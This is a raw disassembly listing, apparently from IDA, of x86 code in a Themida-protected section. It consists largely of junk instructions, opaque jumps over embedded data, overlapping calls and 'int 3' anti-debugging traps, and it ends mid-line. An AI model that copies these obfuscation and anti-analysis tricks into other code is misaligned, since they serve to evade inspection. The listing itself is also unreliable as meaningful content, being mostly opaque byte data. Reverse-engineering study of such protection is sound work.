; CODE XREF: sub_604A69+99j mov ebx, [edi+ecx] mov [ebp+61424D9h], esi xor ebx, 44ED7340h jo loc_604AAB jns loc_604AAB sub [ebp+614064Dh], esi loc_604AAB: ; CODE XREF: sub_604A69+30j ; sub_604A69+36j ... sub ebx, 647141B8h push esi mov eax, 6AC8C407h pop eax sub ebx, 6622AACBh mov [edi+ecx], ebx pusha mov esi, 648772A7h mov [ebp+614073Dh], ebx popa sub ecx, 4 jbe loc_604ADD loc_604AD7: ; CODE XREF: Themida_:00604A64j mov esi, [ebp+6141215h] loc_604ADD: ; CODE XREF: sub_604A69+68j cmp ecx, 0FFFF9EE8h jnz loc_604AFF pusha mov di, cx and ecx, [ebp+6141EA5h] popa jmp loc_604B1B ; --------------------------------------------------------------------------- mov [ecx-2955D0E6h], dl loc_604AFF: ; CODE XREF: sub_604A69+7Aj mov dx, bx jmp loc_604A8A ; --------------------------------------------------------------------------- db 92h dd 6629F4CFh, 2229982Ah, 9C7E224h, 83D80CB2h db 30h, 0D1h, 7Bh ; --------------------------------------------------------------------------- loc_604B1B: ; CODE XREF: sub_604A69+8Bj jmp short $+2 jmp loc_604ECC ; --------------------------------------------------------------------------- dw 0E1E1h dd 0CCFD6AAEh, 0B7D24DD1h, 9BA936FAh, 84831CE0h, 52860509h dd 64A8E5E4h, 53D7CEFBh, 39FDB8D4h, 1DE19CAEh, 9DAC0970h dd 1655ECFDh, 8EF282FDh, 38759403h, 7D0E24E6h, 66674DB7h dd 5974F337h, 414FD85Ch, 2A59C64Ah, 0F6067F8Ch, 3DAA6E92h dd 2459680Eh, 6663FC00h, 507CEB2Fh, 0C2E6A3AEh, 103E4D3Eh dd 0EF1A6595h, 1A3E9AB2h, 4A414318h, 34EB87C6h, 0B35049DBh dd 61991436h, 85B5F01Eh, 631A28F7h, 1061868h, 0C95CEF48h dd 73D755EBh, 5B017EBDh, 818B23A2h, 6BB4D83Ah, 0B1152560h dd 3ECFB763h, 26F4314Ah, 3F4FC76Dh, 0D2EAA3A0h, 0E497A976h dd 3C4C70D4h, 1E8FB0CFh, 8CA69914h, 99445FDFh, 0AABA6072h dd 6C491C3h, 0D0000001h, 5356867h, 3A524F7Ah, 0EF48B3DEh dd 53F09240h, 202D4ACh, 4BD063CCh, 0EF5353F0h, 0B9BB0339h dd 27ED118Ch, 304F7FC3h, 0C9B9F0Eh, 138B83FAh, 287586F2h dd 49DC97AAh, 0D03747CBh, 0C9FB0A61h, 0DABB9D2h, 61112EDBh dd 0FC844CC6h, 0F16C9FEDh, 0BF8A2B86h, 3455E58Ah, 8A3A0950h dd 2EB955E5h, 0EC68601Dh, 791756C8h, 9222453Eh, 0B74D1580h dd 82864FC9h, 0DBD6F58Ah, 0C4B9C857h, 68DB44B7h, 0AC5FDAB7h dd 0DAB73003h, 0FBCFB35Fh, 0B8348197h, 0FC93AD9Dh, 0FB0E7636h dd 32317E8Dh, 0F65FDA5Bh, 0EC265577h, 1F6CB094h, 45F431ACh dd 0DE5FDA5Bh, 5BC0737Ah, 0FF435FDAh, 14608135h, 763691E7h dd 7D2C3E93h, 8752E14Eh, 6DD15FDAh, 0F39B04A7h, 7C45F67Bh dd 709FE018h, 5F6EF93Dh, 57B22A22h, 92951229h, 0AE41CEB3h dd 37FDB0DFh, 1B92B433h, 8BB867E3h, 512AEE12h, 0A38A103h dd 0B240891Bh, 6FB3EE1Dh, 1B6180A5h, 5CFF75E0h, 67BCC990h dd 0C220AD67h, 6349DC2Dh, 6E90EF1Fh, 1B15FB3Fh, 916814F1h dd 0C4CD2A2h, 0C9F58A1Fh, 3CF34A4Bh, 0B1D355E4h, 0EA4536FAh dd 0E43CFE4Dh, 1F117555h, 0A11224B1h, 6F3CF6D1h, 0AD1E2E5Dh dd 0C5F5B0DEh, 5951AF41h, 25CC74F2h, 9F0E30EFh, 0B0EB1D6Ch dd 0E8E33C98h, 0FB399DADh, 97FE1DCBh, 0E3275668h, 0A932A977h dd 32358Bh, 8BE30000h, 37DF02FDh, 0DC56550Fh, 7A8819E8h dd 6B8F0B03h, 79D7D750h, 106F49DCh, 0F7BB9F4h, 5A6CF30Bh dd 33512823h, 0EB0F8683h, 0AB36929h, 39000000h, 1A326967h dd 0C4484345h, 3269670Eh, 3201AE19h, 0F653F092h, 0F0929AA9h dd 41351953h, 168337FDh, 923B0AABh, 68F753F0h, 0A5162657h dd 0F092C978h, 0A2C64A53h, 1C2C1050h, 0F8BDD9AFh, 5D073273h dd 0B89C53F0h, 0E2AAC66h, 0E8A82FFh, 517328EAh, 76A5225Ah dd 0EAF121Fh, 53F0E637h, 72B3C84Ch, 53F0E6C7h, 0BCC3F85Ch dd 97A20391h, 2C53F0E6h, 26120428h, 0F65B8555h, 27C07082h dd 5B27625h, 1892EEh, 67180000h, 0C4BFCD65h, 0FA3B50B4h dd 53F0924Fh, 2C5C40C4h, 0B67A3153h, 6767D0C2h, 497B0434h dd 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh dd 6D98E717h, 46471830h, 531F2757h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 7D68240Ch, 8900006Fh, 0C068243Ch, 89000031h dd 0BE56240Ch, 773663D0h, 2A0C56BFh, 8BF73171h, 0C4812434h dd 4, 240C8B54h, 4C481h, 0BB530000h, 8, 3B89CB01h, 83241C8Bh dd 34FF04C4h, 0C4835924h, 2434FF04h, 4C4835Fh, 0F80DB3E9h dd 134150FFh ; --------------------------------------------------------------------------- loc_604ECC: ; CODE XREF: sub_604A69+B4j mov eax, 61C72C7h add eax, ebp jmp eax sub_604A69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 85h, 95h, 0E8h dd 5E88205Fh, 0C8940D5Eh, 0BB672734h, 10F6B855h, 0BA9C870h dd 0EDC8590Ch, 0D5C86C4Eh, 45996406h, 0FEF91C37h, 290E031Bh dd 7785E74Bh, 0AF5AD42Ch, 74E8DD54h, 17932341h, 4C00227h dd 0E30CF37Dh, 0B23C0E4Eh, 0DAD0E66h, 0D860C306h, 0FB05A768h dd 0F6418F52h, 0CF1C9A58h, 0EB2BEC72h, 0DC146939h, 8A12C671h dd 41C60D08h, 0D5BDFD2Ah, 8007B55Ch, 0D38B34C0h, 6CAECE81h dd 66F94F89h, 0E950FA8Bh, 6, 0AFC6F8Dh, 0F58C9C2h, 58Dh dd 0C8805700h, 830F5E43h, 0 ; --------------------------------------------------------------------------- jmp loc_604F82 ; --------------------------------------------------------------------------- db 2Dh, 0EFh, 4Dh dd 750B8DA5h ; --------------------------------------------------------------------------- test al, 20h loc_604F82: ; CODE XREF: Themida_:00604F74j and esi, 6F47557Fh mov esi, ebx jmp loc_604F96 ; --------------------------------------------------------------------------- db 0E6h dd 0A139F3A3h db 77h, 0DFh ; --------------------------------------------------------------------------- loc_604F96: ; CODE XREF: Themida_:00604F8Aj push eax pop edi pusha pusha adc bl, 23h movzx edx, cx popa jnz loc_604FA8 stc loc_604FA8: ; CODE XREF: Themida_:00604FA1j popa and esi, 224FEF1Dh movzx ebx, di mov edi, 292D8824h push esi add si, 5367h pop edx sub edi, 30C9C238h push ecx mov ch, 91h pop edi mov ecx, 389DFBE2h js loc_604FE7 jmp loc_604FE7 ; --------------------------------------------------------------------------- dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h db 12h, 5Ch, 19h ; --------------------------------------------------------------------------- loc_604FE7: ; CODE XREF: Themida_:00604FCDj ; Themida_:00604FD3j mov edi, 19979642h mov bx, 2238h sub dh, 0D0h or cx, 3442h adc si, 0A0F2h jmp loc_60500E ; --------------------------------------------------------------------------- dw 41D5h dd 0EED12D5Eh, 4C24B435h db 8Dh, 4Ch ; --------------------------------------------------------------------------- loc_60500E: ; CODE XREF: Themida_:00604FFDj movzx ecx, si push ecx cmc pop ecx movzx edx, bx stc jmp loc_60502F ; --------------------------------------------------------------------------- db 6Fh, 3Ch, 0F0h dd 0D425C6Dh, 3FEB2641h, 1A8AF75Fh db 0EAh, 0Ah, 40h ; --------------------------------------------------------------------------- loc_60502F: ; CODE XREF: Themida_:00605018j jmp loc_605046 ; --------------------------------------------------------------------------- dd 19F9E168h, 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h db 1Ah, 0ACh ; --------------------------------------------------------------------------- loc_605046: ; CODE XREF: Themida_:loc_60502Fj movzx edi, cx stc pusha push edx jmp loc_605059 ; --------------------------------------------------------------------------- db 9Ah, 0E8h, 97h dd 0FFD95B40h db 23h ; --------------------------------------------------------------------------- loc_605059: ; CODE XREF: Themida_:0060504Cj pop edi mov ecx, 3A8CB849h popa mov edi, 7284439Dh cld call near ptr loc_605077+3 inc esi leave cmc outsd mov ah, 16h out dx, al lodsb cli setalc push edx dec ecx loc_605077: ; CODE XREF: Themida_:00605066p enter 0FFFF9EB0h, 0FCh pop edx jmp loc_60508B ; --------------------------------------------------------------------------- and ds:0BD12099h, bh cmp ecx, ecx mov dh, 0EBh loc_60508B: ; CODE XREF: Themida_:0060507Cj jnp loc_60509A jz loc_60509A movsx esi, ax loc_60509A: ; CODE XREF: Themida_:loc_60508Bj ; Themida_:00605091j jmp loc_6050AC ; --------------------------------------------------------------------------- db 48h dd 0F08AD536h, 0CFE5FF8Bh, 0DB006F01h ; --------------------------------------------------------------------------- loc_6050AC: ; CODE XREF: Themida_:loc_60509Aj mov dl, 8 adc edx, 609C8DFFh mov ax, cx jmp loc_6050C6 ; --------------------------------------------------------------------------- dd 0CD5A4E8Eh, 0B7E69E93h db 72h, 73h ; --------------------------------------------------------------------------- loc_6050C6: ; CODE XREF: Themida_:006050B7j jnp loc_6050F8 call sub_6050E1 push esp out 2Fh, eax mov cl, 2Bh push ebp pushf lea ebx, [ebp+eax-6C448088h] int 3 ; Trap to Debugger pushf ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_6050E1 proc near ; CODE XREF: Themida_:006050CCp jmp near ptr sub_6050F7 sub_6050E1 endp ; --------------------------------------------------------------------------- dw 0D3AEh dd 0EF497369h, 0B06A41E9h, 1A435200h db 89h, 0F9h, 31h ; =============== S U B R O U T I N E ======================================= sub_6050F7 proc far ; CODE XREF: sub_6050E1j pop edi loc_6050F8: ; CODE XREF: Themida_:loc_6050C6j jle loc_6050FF cmc loc_6050FF: ; CODE XREF: sub_6050F7:loc_6050F8j mov eax, edx cld and bx, 0B790h sub edx, 7394355h mov dh, 67h jmp loc_605127 ; --------------------------------------------------------------------------- dd 6D2E3F74h, 0E152FE7Ah, 7559F343h, 8108BAAEh db 3Ch, 82h, 14h ; --------------------------------------------------------------------------- loc_605127: ; CODE XREF: sub_6050F7+18j ; Themida_:00605186j xor al, 59h mov dl, ch mov esi, 2FB06D52h mov si, 421Dh pusha jmp loc_605143 ; --------------------------------------------------------------------------- db 60h dd 0FF689B12h ; --------------------------------------------------------------------------- clc retf ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- loc_605143: ; CODE XREF: sub_6050F7+3Fj mov si, 0E8DDh popa jmp loc_605155 ; --------------------------------------------------------------------------- db 0AEh, 0E8h, 6Bh ; --------------------------------------------------------------------------- sbb edi, ebp pop ebp inc ecx xchg eax, esi loc_605155: ; CODE XREF: sub_6050F7+51j mov ecx, 2907F3ACh mov al, bl mov ax, bx jmp loc_60516E ; --------------------------------------------------------------------------- dd 0A4A5EA37h, 3BA9904Eh db 0E4h, 6Fh ; --------------------------------------------------------------------------- loc_60516E: ; CODE XREF: sub_6050F7+68j push esi call near ptr loc_60517B+1 and dword ptr [ebp-60h], 2D71E0FFh loc_60517B: ; CODE XREF: sub_6050F7+78p cmp dh, [esi-16A4A7FAh] sub_6050F7 endp ; sp-analysis failed or eax, 9000000h jge short near ptr loc_605127+2 adc edi, [edi+ebx+32h] test [ecx-23218F87h], bl movzx eax, di mov edx, 0A7DE9EBh push eax mov esi, eax pop edi mov edx, esi mov ah, 31h mov esi, 25AC73EAh cld jmp loc_6051B7 ; --------------------------------------------------------------------------- db 6Eh, 93h, 31h dd 11D53796h db 93h, 0E2h, 0ACh ; --------------------------------------------------------------------------- loc_6051B7: ; CODE XREF: Themida_:006051A8j movzx ebx, bx mov ch, dh mov edx, 3A361E74h or cx, 9EFBh cmc mov bx, 0EF4Dh pusha mov esi, edi ja loc_6051D6 mov dl, bh loc_6051D6: ; CODE XREF: Themida_:006051CEj popa adc si, 929Ch or edi, 7291F44Ch pusha mov di, cx popa mov cx, ax push edx xor bl, 34h pop edi pusha pusha clc mov esi, eax popa clc popa jmp loc_605210 ; --------------------------------------------------------------------------- dd 3C91721Dh, 2623E1B2h, 0E3508015h, 38DA82D2h, 5369F3D3h ; --------------------------------------------------------------------------- loc_605210: ; CODE XREF: Themida_:006051F7j mov bl, ch mov eax, 22C2894Ch jmp loc_605223 ; --------------------------------------------------------------------------- dd 7E9124A7h db 0E9h, 0C2h, 0A6h ; --------------------------------------------------------------------------- loc_605223: ; CODE XREF: Themida_:00605217j mov bx, 0EC96h mov eax, 9761883h and ebx, 66D82EDDh or ebx, 74CFEBB0h mov al, dh jb loc_605246 sub esi, 11D4002Eh loc_605246: ; CODE XREF: Themida_:0060523Aj movsx eax, bx jge loc_605267 call sub_605264 ; --------------------------------------------------------------------------- dd 0F4FC21FEh, 0B34C82C4h, 1577A7BBh, 97581967h ; =============== S U B R O U T I N E ======================================= sub_605264 proc near ; CODE XREF: Themida_:0060524Fp mov ebx, ecx pop ecx loc_605267: ; CODE XREF: Themida_:00605249j movsx edi, cx mov ax, 0D382h mov si, 0B47Bh push ebx mov ecx, 3F69CE83h pop edx mov di, si jnp loc_605284 mov cl, 0D9h loc_605284: ; CODE XREF: sub_605264+18j jmp loc_605291 ; --------------------------------------------------------------------------- db 5Ah, 30h, 0EEh dd 149E1166h db 31h ; --------------------------------------------------------------------------- loc_605291: ; CODE XREF: sub_605264:loc_605284j sbb eax, 722B246Fh pusha xor di, 0EB6Ch mov ax, bx popa mov ebx, 3011C062h jnb loc_6052AD clc loc_6052AD: ; CODE XREF: sub_605264+42j mov ebx, edi pusha jz loc_6052B8 mov bl, 0Ch loc_6052B8: ; CODE XREF: sub_605264+4Cj jmp loc_6052C8 ; --------------------------------------------------------------------------- adc eax, 2C6585B0h push 0C3A44896h cmc loc_6052C8: ; CODE XREF: sub_605264:loc_6052B8j popa jmp loc_6052D8 ; --------------------------------------------------------------------------- leave or ch, [ebp-22h] mov bh, 5Ah sub al, 77h add [ebx], dl loc_6052D8: ; CODE XREF: sub_605264+65j mov bx, 2D7Fh ja loc_6052EB jp loc_6052EB and bl, 82h loc_6052EB: ; CODE XREF: sub_605264+78j ; sub_605264+7Ej adc eax, 22CF4523h cld mov ecx, 45AE66E5h cmc jo loc_605302 mov cx, 3A07h loc_605302: ; CODE XREF: sub_605264+94j jmp loc_605315 ; --------------------------------------------------------------------------- db 40h dd 3EBF265Dh, 0AB6C4697h, 7C0A5E94h ; --------------------------------------------------------------------------- movsb loc_605315: ; CODE XREF: sub_605264:loc_605302j cld mov dx, 0F56Fh call near ptr loc_60532C+1 mov edx, [esi+72h] fsubr qword ptr [ebx] push ss imul edi, ecx, 33h pusha push edx arpl [esi], sp loc_60532C: ; CODE XREF: sub_605264+B6p aad 0Fh sub_605264 endp ; sp-analysis failed lea eax, [eax+eax] ; --------------------------------------------------------------------------- db 2 dup(0), 66h ; --------------------------------------------------------------------------- mov eax, 0B05FEB68h aas mov bh, 0BAh pusha call sub_605352 stosb cmp bl, [esi+4039A0CFh] lodsd test [eax], edx push edi adc ebx, edx dec edi jle short near ptr loc_60536F+2 ; =============== S U B R O U T I N E ======================================= sub_605352 proc near ; CODE XREF: Themida_:0060533Dp mov eax, ecx pop edi clc popa mov edi, eax clc jmp loc_60536D ; --------------------------------------------------------------------------- db 0E4h dd 0D79534B5h, 86C7198Ch, 0D4FBDB3Bh db 1 ; --------------------------------------------------------------------------- loc_60536D: ; CODE XREF: sub_605352+8j mov ah, dh loc_60536F: ; CODE XREF: Themida_:00605350j mov cx, 0EED1h mov eax, 0AF936DBh jmp loc_605387 ; --------------------------------------------------------------------------- xchg edi, [ebp+5Fh] movsd mov dword ptr [edx], 8AA1622Fh loc_605387: ; CODE XREF: sub_605352+26j jmp loc_60539C ; --------------------------------------------------------------------------- dd 1E4990AEh, 0CD4A818Eh, 33359783h, 0C6E63F7Ch ; --------------------------------------------------------------------------- loc_60539C: ; CODE XREF: sub_605352:loc_605387j push eax call sub_6053B5 faddp st(2), st push ebp sub eax, 0C163A3D6h in eax, dx push esp xor [ecx], edx aaa db 66h sbb [ebx-68h], al test al, 0CDh sub_605352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6053B5 proc near ; CODE XREF: sub_605352+4Bp mov bx, 0B2D8h pop ecx pop edx or bx, 0AED6h pusha mov edi, eax popa movsx edi, dx mov ch, ah jno loc_6053D4 mov eax, 31F8CE1h loc_6053D4: ; CODE XREF: sub_6053B5+14j movzx edx, bx mov edi, 17DEFDD3h movsx edi, dx pusha mov eax, 257E233Ah mov si, cx popa and ebx, 57A80C42h jl loc_6053FA mov edi, 21A97167h loc_6053FA: ; CODE XREF: sub_6053B5+3Aj call near ptr loc_605404+1 in eax, 0E1h int 3 ; Trap to Debugger push 0FFFFFF9Dh loc_605404: ; CODE XREF: sub_6053B5:loc_6053FAp lock pusha sub_6053B5 endp ; sp-analysis failed push ecx pop edx jbe $+6 popa pop eax jmp loc_60541F ; CODE XREF: Themida_:0060545Fj ; --------------------------------------------------------------------------- db 1Eh, 0E2h, 0C9h ; --------------------------------------------------------------------------- or [ebp+ebp*4-77h], edi loc_60541C: ; CODE XREF: Themida_:0060545Dj dec edx inc ebp ; --------------------------------------------------------------------------- db 2Eh ; --------------------------------------------------------------------------- loc_60541F: ; CODE XREF: Themida_:00605410j pusha xor cx, 6B22h pusha mov ebx, edi popa popa sub dl, 0FCh xor bl, 3Dh cld mov edx, ecx call near ptr loc_60543D+1 sti jp short loc_6054B7 mov ah, 0ADh loc_60543D: ; CODE XREF: Themida_:00605433p mov cl, 0Fh mov bh, 0F0h pop ecx mov esi, 249AA78Ah mov cx, di sbb ax, 0D5BEh sbb cx, 52h call near ptr loc_605461+1 xchg eax, edi cld xchg eax, edx out dx, al jo short loc_60541C jnp short near ptr loc_605410+1 loc_605461: ; CODE XREF: Themida_:00605454p or ecx, [edi] xchg al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) dd 8B66F95Ah, 13E8F0h, 10A50000h, 0A9071F37h, 293350F0h dd 0FBB30C7Bh, 0E9B35A4Ch, 0B5C2BE2Dh, 0B7585127h, 8FC38001h dd 0F2BF0FF9h, 13E834B3h, 68000000h, 8E516FD8h, 8A521152h dd 7B0FA517h, 0FAAAABFAh, 0C881BA24h, 758957A9h db 59h, 60h, 0Fh ; --------------------------------------------------------------------------- loc_6054B7: ; CODE XREF: Themida_:00605439j mov bh, 0F1h sbb edx, 25F6F776h popa mov eax, 77B59ABBh mov esi, 17170AADh cmc mov cx, dx mov dh, 60h and bh, 5Ch jmp loc_6054E3 ; --------------------------------------------------------------------------- pop ss xor [edx+3Dh], esi and esp, [edx] db 66h fxch4 st(5) int 3 ; Trap to Debugger push ss loc_6054E3: ; CODE XREF: Themida_:006054D3j pusha movzx ecx, bx popa jmp loc_6054FE ; --------------------------------------------------------------------------- db 33h, 75h, 40h dd 4EC84789h, 870A0B2Ch, 65344558h db 0E5h, 0FDh ; --------------------------------------------------------------------------- loc_6054FE: ; CODE XREF: Themida_:006054E8j ja loc_60550A pusha mov ebx, eax mov eax, edx popa loc_60550A: ; CODE XREF: Themida_:loc_6054FEj add al, 0FEh mov bl, 5Dh cmc movsx edx, ax pusha jmp loc_605523 ; --------------------------------------------------------------------------- db 71h, 0A8h, 0DCh dd 2B255D79h db 0B9h, 0DAh, 0Dh ; --------------------------------------------------------------------------- loc_605523: ; CODE XREF: Themida_:00605514j popa call near ptr loc_605536+4 call far ptr 0E988h:0B999442Bh db 64h mov ebx, 6687C846h loc_605536: ; CODE XREF: Themida_:00605524p sub [ecx+58531CA3h], ch pop ecx clc movsx esi, bx sbb bh, 0E7h cld mov si, dx mov di, 0F2F0h clc jmp loc_60555E ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0CEh dd 5576D0E4h, 8B7E2339h db 0DDh, 40h ; --------------------------------------------------------------------------- loc_60555E: ; CODE XREF: Themida_:0060554Dj mov dx, bx sbb eax, 3780C935h mov edi, 7444FA74h push ebx jmp loc_605577 ; --------------------------------------------------------------------------- lds ebp, [esi-0Dh] sbb bl, cl loc_605577: ; CODE XREF: Themida_:0060556Dj pop ecx jo loc_605584 or edi, 69F6944Ch loc_605584: ; CODE XREF: Themida_:00605578j or bx, 0C524h mov edx, esi adc edi, 17671D1Eh jmp loc_6055A5 ; --------------------------------------------------------------------------- dw 0D6ACh dd 480425ECh, 952189D2h, 77C2A0B2h ; --------------------------------------------------------------------------- inc esi loc_6055A5: ; CODE XREF: Themida_:00605591j mov ah, 44h mov ecx, eax movzx ebx, si push eax pop eax jg loc_6055C5 jmp loc_6055C5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 37EEh dd 0E106FB9Dh, 0EB9C8B2Fh db 8Dh ; --------------------------------------------------------------------------- loc_6055C5: ; CODE XREF: Themida_:006055AEj ; Themida_:006055B4j mov dh, 7Dh xor ebx, 6953137Ah mov cx, 4AC1h pusha mov dx, 0DB99h pusha jnb $+6 jmp loc_6055EF ; --------------------------------------------------------------------------- dw 0F648h dd 0F5AE3683h, 0F2DC0B2Eh db 0E9h, 6Eh, 8Fh ; --------------------------------------------------------------------------- loc_6055EF: ; CODE XREF: Themida_:006055DDj popa popa xor bx, 0FC51h pusha jmp loc_60560F ; --------------------------------------------------------------------------- dd 5FD8F8A6h, 0EA9A0596h, 0C0419F8Ah, 30954F37h db 53h, 7Ah, 64h ; --------------------------------------------------------------------------- loc_60560F: ; CODE XREF: Themida_:006055F7j mov si, ax popa jb loc_605625 jnz loc_605625 jns $+6 loc_605625: ; CODE XREF: Themida_:00605613j ; Themida_:00605619j jmp loc_60563D ; --------------------------------------------------------------------------- test [ebx], esp push 0FFFFFFAAh add edx, ds:0F3275EFBh popf pop ds sub eax, 8DBE34C8h xchg eax, esi pop ebx loc_60563D: ; CODE XREF: Themida_:loc_605625j mov bh, 2Ch mov cx, 2295h mov ebx, esi cld mov ebx, 7889AFDDh mov esi, 2811AB2Ch cld mov di, si jmp loc_605669 ; --------------------------------------------------------------------------- db 2Ah, 0BBh, 0DCh dd 0D6E37482h, 839A1449h, 4D60347Ah db 80h ; --------------------------------------------------------------------------- loc_605669: ; CODE XREF: Themida_:00605654j push eax mov di, 751h pop ecx pusha xor bl, 0B4h call near ptr loc_60567E+1 pop ebp xor [ebx], ch sbb ah, [ecx] inc eax loc_60567E: ; CODE XREF: Themida_:00605673p test [eax+5Eh], edx pop eax popa and ch, 0BAh mov bl, ah adc eax, 756F138Bh cmc and ax, 0AD96h cld jmp loc_6056AC ; --------------------------------------------------------------------------- dw 5270h dd 0A4E713h, 9040A6C6h, 0CE248E0Bh, 0F34D25C7h ; --------------------------------------------------------------------------- loc_6056AC: ; CODE XREF: Themida_:00605695j mov bl, 7Eh movsx ecx, cx movsx esi, ax mov eax, ecx mov esi, 5D6F1984h mov ebx, edx clc push esi mov al, 3Bh pop esi movsx eax, dx jmp loc_6056DB ; --------------------------------------------------------------------------- dw 0D985h dd 977F4471h, 63BB2F91h, 9F3C2C19h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- xchg ch, [edi] loc_6056DB: ; CODE XREF: Themida_:006056C5j sub ch, 88h jmp loc_6056EE ; --------------------------------------------------------------------------- db 0BBh dd 0E83462C8h, 3FB310A1h db 0D7h, 76h ; --------------------------------------------------------------------------- loc_6056EE: ; CODE XREF: Themida_:006056DEj movzx eax, bx pusha jmp loc_605705 ; --------------------------------------------------------------------------- db 55h dd 9E657F62h, 4A3F7000h, 0BEE8F3Bh db 1Ch ; --------------------------------------------------------------------------- loc_605705: ; CODE XREF: Themida_:006056F2j call sub_60571B jp short loc_605773 mov ah, 0EEh mov ds:0E8ED512h, al inc ebx jbe short loc_60572C mov [edi+ebp-64h], bl das ; =============== S U B R O U T I N E ======================================= sub_60571B proc near ; CODE XREF: Themida_:loc_605705p cld pop esi popa clc mov bx, 785Ah pusha popa mov ah, 25h pusha push ebx push edi pop eax pop edi loc_60572C: ; CODE XREF: Themida_:00605714j pusha pusha popa push edx pop esi popa popa adc dl, 0EAh xor ecx, 298118CCh movsx esi, ax ; CODE XREF: sub_60571B+2Fj pusha mov cx, 0D645h call loc_605754 cld jnb short near ptr loc_60573C+2 mov byte ptr [eax-36333125h], 43h pop ebx sub_60571B endp ; sp-analysis failed loc_605754: ; CODE XREF: sub_60571B+29p mov ebx, 63D77208h pop edi popa jmp loc_605765 ; --------------------------------------------------------------------------- dd 3CA15C3Ah db 22h ; --------------------------------------------------------------------------- loc_605765: ; CODE XREF: Themida_:0060575Bj adc ebx, 6ECE571Bh push edx jmp near ptr loc_60577B+5 ; --------------------------------------------------------------------------- db 0Dh, 0A9h ; --------------------------------------------------------------------------- loc_605773: ; CODE XREF: Themida_:0060570Aj sahf cmp al, 11h xchg eax, esp cld stc outsb lahf loc_60577B: ; CODE XREF: Themida_:0060576Cj lds edx, [ebx+5EE7AA56h] cmc mov cl, 0F1h mov si, 40C1h xor cx, 746Dh and ecx, 15A0484Eh jmp loc_6057A0 ; --------------------------------------------------------------------------- dec edx mov dword ptr [ecx-34h], 2AD9ECEAh loc_6057A0: ; CODE XREF: Themida_:00605793j mov di, 0C262h cld mov ebx, 77432E1Eh xor bx, 0E00Bh movsx eax, cx or ecx, 34E5A8B7h jo loc_6057C4 or edi, 3138DD75h loc_6057C4: ; CODE XREF: Themida_:006057B8j mov dx, di sbb ecx, 60EF4CDBh xor bh, 7Ch mov ecx, edx jmp loc_6057E1 ; --------------------------------------------------------------------------- db 0B0h dd 0C02E28B5h, 0B5ED281Ah ; --------------------------------------------------------------------------- inc ebx loc_6057E1: ; CODE XREF: Themida_:006057D2j adc edx, 16763BD5h or bx, 6F58h movsx eax, dx push edi mov si, 5A9Fh pop edx mov eax, ebx jnb loc_605802 or cx, 0F709h loc_605802: ; CODE XREF: Themida_:006057F7j mov bl, 8 call near ptr loc_605819+3 movsb dec ecx mov edx, 7F6A66E9h mov ebp, 81ABE7A0h jge short near ptr loc_60587C+4 jnz short loc_605857 loc_605819: ; CODE XREF: Themida_:00605804p or eax, 0DA8B2465h pop ecx mov bl, 55h mov edx, 6D9193DDh jo loc_605832 push edx mov cx, 7C6Fh ; CODE XREF: Themida_:00605883j pop ecx loc_605832: ; CODE XREF: Themida_:00605826j push edx pop ebx mov esi, 29DCF0EBh push edi mov edi, 3066577h pop eax js loc_60585E jmp loc_60585E ; --------------------------------------------------------------------------- db 5Ah dd 0C70C6F1Dh, 94D5E003h ; --------------------------------------------------------------------------- push eax xlat popa loc_605857: ; CODE XREF: Themida_:00605817j cld mov ah, 2Dh jg short near ptr loc_60585E+4 jge short near ptr loc_605864+2 loc_60585E: ; CODE XREF: Themida_:00605840j ; Themida_:00605846j ... jle loc_605867 loc_605864: ; CODE XREF: Themida_:0060585Cj movsx ecx, dx loc_605867: ; CODE XREF: Themida_:loc_60585Ej jno loc_605871 mov ax, 4DCCh loc_605871: ; CODE XREF: Themida_:loc_605867j jle loc_6058A0 call near ptr loc_605885+1 loc_60587C: ; CODE XREF: Themida_:00605815j mov esi, 50234BFCh or al, 0F6h jg short near ptr loc_60582D+1 loc_605885: ; CODE XREF: Themida_:00605877p sbb cl, ch adc al, 0 ; --------------------------------------------------------------------------- db 2 dup(0), 8Ah dd 0EAEC132h, 0CAD25BA3h, 75A6B58Eh, 1F64CDE5h, 59270E6Ah ; --------------------------------------------------------------------------- loc_6058A0: ; CODE XREF: Themida_:loc_605871j mov edi, esi pusha cmc jmp loc_6058B4 ; --------------------------------------------------------------------------- db 1Fh, 0CCh, 48h dd 0C51CA60Ah, 7043F0B2h ; --------------------------------------------------------------------------- loc_6058B4: ; CODE XREF: Themida_:006058A4j popa jnz loc_6058BC cmc loc_6058BC: ; CODE XREF: Themida_:006058B5j mov esi, edi mov si, bx ja loc_6058CA or dl, 8Eh loc_6058CA: ; CODE XREF: Themida_:006058C1j movzx edi, cx mov dx, si mov cx, 0ECA7h cmc mov edi, 2BC47537h movsx ecx, cx movsx ecx, ax jmp loc_6058F9 ; --------------------------------------------------------------------------- db 5, 9, 0 dd 31D7E0F5h, 0CBF29632h, 5BDAB75Eh, 95F7D04Bh db 0A8h ; --------------------------------------------------------------------------- loc_6058F9: ; CODE XREF: Themida_:006058E0j stc jmp loc_605905 ; --------------------------------------------------------------------------- db 0EAh dd 3483BCCFh db 8Bh ; --------------------------------------------------------------------------- loc_605905: ; CODE XREF: Themida_:006058FAj ja loc_60591F jmp loc_60591F ; --------------------------------------------------------------------------- dd 3E9EDBF0h, 2FA5F760h, 0DB69ABCFh db 0E1h, 6Ah, 0D0h ; --------------------------------------------------------------------------- loc_60591F: ; CODE XREF: Themida_:loc_605905j ; Themida_:0060590Bj jmp loc_605934 ; --------------------------------------------------------------------------- dd 0CCD36315h, 59CBB35Ch, 0F186BD9Dh, 692BB5C5h ; --------------------------------------------------------------------------- loc_605934: ; CODE XREF: Themida_:loc_60591Fj jmp loc_605944 ; --------------------------------------------------------------------------- db 0F0h, 0D7h, 81h dd 4C0ACEF1h, 1CB2793Bh ; --------------------------------------------------------------------------- loc_605944: ; CODE XREF: Themida_:loc_605934j call sub_605956 and [esi-104444D9h], edx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD 